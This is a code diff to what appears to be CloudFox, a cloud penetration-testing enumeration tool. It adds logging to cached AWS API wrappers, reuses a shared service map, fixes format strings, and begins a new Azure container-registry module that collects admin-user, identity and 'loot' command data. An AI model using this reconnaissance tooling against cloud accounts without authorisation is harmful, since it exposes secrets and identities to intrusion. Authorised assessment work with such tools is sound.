|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/route53"
|
||||
route53types "github.com/aws/aws-sdk-go-v2/service/route53/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSRoute53ClientInterface interface {
|
||||
@@ -28,8 +29,18 @@ func CachedRoute53ListHostedZones(client AWSRoute53ClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-route53-ListHostedZones", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListHostedZones",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]route53types.HostedZone), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListHostedZones",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListHostedZones, err := client.ListHostedZones(
|
||||
@@ -63,8 +74,20 @@ func CachedRoute53ListResourceRecordSets(client AWSRoute53ClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-route53-ListResourceRecordSets-%s", accountID, hostedZoneID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListResourceRecordSets",
|
||||
"account": accountID,
|
||||
"hostedZoneId": hostedZoneID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]route53types.ResourceRecordSet), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "route53:ListResourceRecordSets",
|
||||
"account": accountID,
|
||||
"hostedZoneId": hostedZoneID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListResourceRecordSets, err := client.ListResourceRecordSets(
|
||||
|
||||
+51
-4
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSS3ClientInterface interface {
|
||||
@@ -30,10 +31,19 @@ func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Typ
|
||||
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for ListBuckets data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:ListBuckets",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]s3Types.Bucket), nil
|
||||
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:ListBuckets",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
ListBuckets, err := S3Client.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
@@ -52,9 +62,20 @@ func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bu
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketLocation data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketLocation",
|
||||
"account": accountID,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketLocation",
|
||||
"account": accountID,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetBucketRegion, err := S3Client.GetBucketLocation(
|
||||
context.TODO(),
|
||||
&s3.GetBucketLocationInput{
|
||||
@@ -76,9 +97,22 @@ func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r st
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetBucketPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
BucketPolicyObject, err := S3Client.GetBucketPolicy(
|
||||
context.TODO(),
|
||||
@@ -103,9 +137,22 @@ func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetPublicAccessBlock",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "s3:GetPublicAccessBlock",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"bucket": bucketName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
|
||||
context.TODO(),
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
|
||||
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SecretsManagerClientInterface interface {
|
||||
@@ -30,8 +31,20 @@ func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:ListSecrets",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]secretsmanagerTypes.SecretListEntry), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:ListSecrets",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListSecrets, err := client.ListSecrets(
|
||||
context.TODO(),
|
||||
@@ -66,8 +79,22 @@ func CachedSecretsManagerGetResourcePolicy(client SecretsManagerClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-secretsmanager-GetResourcePolicy-%s-%s", accountID, region, secretId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"secretId": secretId,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "secretsmanager:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"secretId": secretId,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetResourcePolicy, err := client.GetResourcePolicy(
|
||||
context.TODO(),
|
||||
&secretsmanager.GetResourcePolicyInput{
|
||||
|
||||
+57
-4
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
snsTypes "github.com/aws/aws-sdk-go-v2/service/sns/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSNSClientInterface interface {
|
||||
@@ -29,10 +30,22 @@ func CachedSNSListTopics(SNSClient AWSSNSClientInterface, accountID string, regi
|
||||
cacheKey := "sns-ListTopics-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS topics data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListTopics",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListTopics",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListTopics, err := SNSClient.ListTopics(
|
||||
context.TODO(),
|
||||
@@ -72,10 +85,22 @@ func CachedSNSListSubscriptions(SNSClient AWSSNSClientInterface, accountID strin
|
||||
cacheKey := "sns-ListSubscriptions-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS subscriptions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptions",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListSubscriptions, err := SNSClient.ListSubscriptions(
|
||||
context.TODO(),
|
||||
@@ -115,10 +140,24 @@ func CachedSNSListSubscriptionsByTopic(SNSClient AWSSNSClientInterface, accountI
|
||||
cacheKey := "sns-ListSubscriptionsByTopic-" + accountID + "-" + region + "-" + topicArn
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS subscriptions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptionsByTopic",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:ListSubscriptionsByTopic",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListSubscriptionsByTopic, err := SNSClient.ListSubscriptionsByTopic(
|
||||
context.TODO(),
|
||||
@@ -157,10 +196,24 @@ func CachedSNSGetTopicAttributes(SNSClient AWSSNSClientInterface, accountID stri
|
||||
cacheKey := "sns-GetTopicAttributes-" + accountID + "-" + region + "-" + topicArn
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SNS topic attributes data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:GetTopicAttributes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(map[string]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sns:GetTopicAttributes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"topicArn": topicArn,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetTopicAttributes, err := SNSClient.GetTopicAttributes(
|
||||
context.TODO(),
|
||||
&sns.GetTopicAttributesInput{
|
||||
|
||||
+13
-1
@@ -7,6 +7,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSQSClientInterface interface {
|
||||
@@ -23,9 +24,20 @@ func CachedSQSListQueues(SQSClient AWSSQSClientInterface, accountID string, regi
|
||||
cacheKey := "sqs-ListQueues-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SQS queues data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sqs:ListQueues",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "sqs:ListQueues",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListQueues, err := SQSClient.ListQueues(
|
||||
|
||||
+13
-1
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ssm"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ssm/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSSSMClientInterface interface {
|
||||
@@ -26,9 +27,20 @@ func CachedSSMDescribeParameters(SSMClient AWSSSMClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-ssm-DescribeParameters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached SSM parameters data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ssm:DescribeParameters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]types.ParameterMetadata), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ssm:DescribeParameters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeParameters, err := SSMClient.DescribeParameters(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sfn"
|
||||
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type StepFunctionsClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "states:ListStateMachines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]sfnTypes.StateMachineListItem), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "states:ListStateMachines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStateMachines, err := client.ListStateMachines(
|
||||
context.TODO(),
|
||||
|
||||
+9
-4
@@ -30,6 +30,7 @@ type SecretsModule struct {
|
||||
WrapTable bool
|
||||
AWSOutputType string
|
||||
AWSTableCols string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Secrets []Secret
|
||||
@@ -192,10 +193,14 @@ func (m *SecretsModule) Receiver(receiver chan Secret, receiverDone chan bool) {
|
||||
func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err := servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -204,7 +209,7 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
wg.Add(1)
|
||||
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("ssm", r)
|
||||
res, err = servicemap.IsServiceInRegion("systems-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
+8
-8
@@ -100,19 +100,19 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
if err != nil {
|
||||
log.Fatal("Could not get homedir")
|
||||
}
|
||||
edgesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s/Library/Application Support/com.nccgroup.principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
|
||||
|
||||
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
|
||||
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
|
||||
if ok {
|
||||
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s%s/graph/edges.json", xdg, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s%s/graph/nodes.json", xdg, aws.ToString(accountId))
|
||||
} else {
|
||||
dir, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s/.local/share/principalmapper/%s/graph/nodes.json", dir, aws.ToString(accountId))
|
||||
} else {
|
||||
log.Fatal("Could not homedir.")
|
||||
}
|
||||
@@ -123,8 +123,8 @@ func generatePmapperDataBasePaths(accountId *string) (string, string) {
|
||||
if err != nil {
|
||||
log.Fatal("Could not get userconfigdir")
|
||||
}
|
||||
edgesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\edges.json")
|
||||
nodesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\nodes.json")
|
||||
edgesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\edges.json", dir, aws.ToString(accountId))
|
||||
nodesPath = fmt.Sprintf("%s\\principalmapper%s\\graph\\nodes.json", dir, aws.ToString(accountId))
|
||||
|
||||
}
|
||||
|
||||
|
||||
+7
-2
@@ -34,6 +34,7 @@ type SNSModule struct {
|
||||
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Topics []SNSTopic
|
||||
@@ -192,8 +193,12 @@ func (m *SNSModule) PrintSNS(outputDirectory string, verbosity int) {
|
||||
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sns", r)
|
||||
if err != nil {
|
||||
|
||||
+7
-2
@@ -36,6 +36,7 @@ type SQSModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Queues []Queue
|
||||
@@ -194,8 +195,12 @@ func (m *SQSModule) PrintSQS(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sqs", r)
|
||||
if err != nil {
|
||||
|
||||
+8
-4
@@ -3,7 +3,6 @@ package aws
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
@@ -46,6 +45,7 @@ type WorkloadsModule struct {
|
||||
|
||||
iamSimClient IamSimulatorModule
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Workloads []Workload
|
||||
@@ -271,8 +271,12 @@ func (m *WorkloadsModule) Receiver(receiver chan Workload, receiverDone chan boo
|
||||
|
||||
func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
res, _ := servicemap.IsServiceInRegion("ec2", r)
|
||||
@@ -345,7 +349,7 @@ func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup,
|
||||
// Describe the IAM instance profile
|
||||
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
|
||||
if err != nil {
|
||||
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
continue
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
Executable
+732
@@ -0,0 +1,732 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/containers/azcontainerregistry"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerregistry/armcontainerregistry"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
azinternal "github.com/BishopFox/cloudfox/internal/azure"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command
|
||||
// ------------------------------
|
||||
var AzAcrCommand = &cobra.Command{
|
||||
Use: "acr",
|
||||
Aliases: []string{"acrs"},
|
||||
Short: "Enumerate Azure Container Registries (ACR), repositories, and tags",
|
||||
Long: `
|
||||
Enumerate ACR for a specific tenant:
|
||||
./cloudfox az acr --tenant TENANT_ID
|
||||
|
||||
Enumerate ACR for a specific subscription:
|
||||
./cloudfox az acr --subscription SUBSCRIPTION_ID`,
|
||||
Run: ListAcr,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module struct (AWS pattern with embedded BaseAzureModule)
|
||||
// ------------------------------
|
||||
type AcrModule struct {
|
||||
azinternal.BaseAzureModule // Embed common fields (15 fields)
|
||||
|
||||
// Module-specific fields
|
||||
Subscriptions []string
|
||||
AcrRows [][]string
|
||||
LootMap map[string]*internal.LootFile
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AcrInfo struct {
|
||||
TenantName string // NEW: for multi-tenant support
|
||||
TenantID string // NEW: for multi-tenant support
|
||||
SubscriptionID string
|
||||
SubscriptionName string
|
||||
ResourceGroup string
|
||||
Region string
|
||||
RegistryName string
|
||||
Repository string
|
||||
Tag string
|
||||
Digest string
|
||||
AdminEnabled string
|
||||
AdminUsername string
|
||||
SystemAssignedID string
|
||||
UserAssignedIDs string
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output struct
|
||||
// ------------------------------
|
||||
type AcrOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AcrOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AcrOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Cobra command entry point (thin wrapper)
|
||||
// ------------------------------
|
||||
func ListAcr(cmd *cobra.Command, args []string) {
|
||||
// -------------------- Use InitializeCommandContext helper --------------------
|
||||
cmdCtx, err := azinternal.InitializeCommandContext(cmd, globals.AZ_ACR_MODULE_NAME)
|
||||
if err != nil {
|
||||
return // error already logged by helper
|
||||
}
|
||||
|
||||
// -------------------- Initialize module --------------------
|
||||
module := &AcrModule{
|
||||
BaseAzureModule: azinternal.NewBaseAzureModule(cmdCtx, 0),
|
||||
Subscriptions: cmdCtx.Subscriptions,
|
||||
AcrRows: [][]string{},
|
||||
LootMap: map[string]*internal.LootFile{
|
||||
"acr-commands": {Name: "acr-commands", Contents: ""},
|
||||
"acr-managed-identities": {Name: "acr-managed-identities", Contents: ""},
|
||||
"acr-task-templates": {Name: "acr-task-templates", Contents: ""},
|
||||
},
|
||||
}
|
||||
|
||||
// -------------------- Execute module --------------------
|
||||
module.PrintAcr(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method (AWS-style)
|
||||
// ------------------------------
|
||||
func (m *AcrModule) PrintAcr(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant processing
|
||||
if m.IsMultiTenant {
|
||||
logger.InfoM(fmt.Sprintf("Multi-tenant mode: Processing %d tenants", len(m.Tenants)), globals.AZ_ACR_MODULE_NAME)
|
||||
|
||||
// Process each tenant independently
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
// Temporarily set module tenant context for row creation
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
if m.Verbosity >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Processing tenant: %s (%s)", m.TenantName, m.TenantID), globals.AZ_ACR_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Process subscriptions for this tenant
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions, globals.AZ_ACR_MODULE_NAME, m.processSubscription)
|
||||
|
||||
// Restore tenant context
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
// Single tenant processing (existing logic)
|
||||
logger.InfoM(fmt.Sprintf("Enumerating ACR for %d subscription(s)", len(m.Subscriptions)), globals.AZ_ACR_MODULE_NAME)
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_ACR_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
